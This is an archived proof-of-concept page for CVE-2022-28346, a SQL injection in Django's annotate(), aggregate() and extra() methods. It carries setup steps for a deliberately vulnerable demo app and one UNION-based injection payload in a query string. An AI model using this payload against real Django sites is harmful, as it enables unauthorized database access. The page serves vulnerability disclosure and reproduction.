Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-28346 PoC — Django SQL注入漏洞

Source
Associated Vulnerability
Title:Django SQL注入漏洞 (CVE-2022-28346)
Description:Django是Django基金会的一套基于Python语言的开源Web应用框架。该框架包括面向对象的映射器、视图系统、模板系统等。 Django 2.2.28 版本之前的 2.2 版本、3.2.13 版本之前的 3.2 版本、4.0.4 版本之前的 4.0 版本存在SQL注入漏洞,QuerySet.annotate()、aggregate() 和 extra() 中存在 SQL 注入问题。
Description
An issue was discovered in Django 2.2 before 2.2.28, 3.2 before 3.2.13, and 4.0 before 4.0.4. QuerySet.annotate(), aggregate(), and extra() methods are subject to SQL injection in column aliases via a crafted dictionary (with dictionary expansion) as the passed **kwargs.
Readme
<h1 align="center">CVE-2022-28346 PoC <a href="https://twitter.com/intent/tweet?text=CVE-2022-28346 PoC : https://github.com/ahsentekdemir/CVE-2022-28346"><img src="https://img.shields.io/badge/Tweet--lightgrey?logo=twitter&style=social" alt="Tweet" height="20"/></a></h1>


### Impact:
- Potential SQL injection in QuerySet.annotate(), aggregate(), and extra().





## Installation 
```
poetry install
python manage.py makemigrations
python manage.py migrate
python manage.py loaddata data.json
python manage.py runserver
```

## PoC
```
?field=poc.title" FROM "poc_blog" union SELECT "-1,",sqlite_version(),"3" --
```
![poc-image](./poc.png)

## References
[CVE Mitre](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-28346)

[Django](https://www.djangoproject.com/weblog/2022/apr/11/security-releases/)

File Snapshot

[4.0K] /data/pocs/ae1f6781792de5129972f4c7ff3a3e0636727dc0 ├── [4.0K] CVE_2022_28346 │   ├── [ 405] asgi.py │   ├── [ 0] __init__.py │   ├── [3.2K] settings.py │   ├── [ 808] urls.py │   └── [ 405] wsgi.py ├── [ 189] data.json ├── [ 0] __init__.py ├── [ 670] manage.py ├── [4.0K] poc │   ├── [ 114] admin.py │   ├── [ 138] apps.py │   ├── [ 0] __init__.py │   ├── [4.0K] migrations │   │   ├── [ 615] 0001_initial.py │   │   ├── [ 413] 0002_auto_20220515_0015.py │   │   └── [ 0] __init__.py │   ├── [ 178] models.py │   ├── [ 60] tests.py │   └── [ 359] views.py ├── [ 25K] poc.png ├── [2.1K] poetry.lock ├── [ 285] pyproject.toml └── [ 815] README.md 3 directories, 21 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.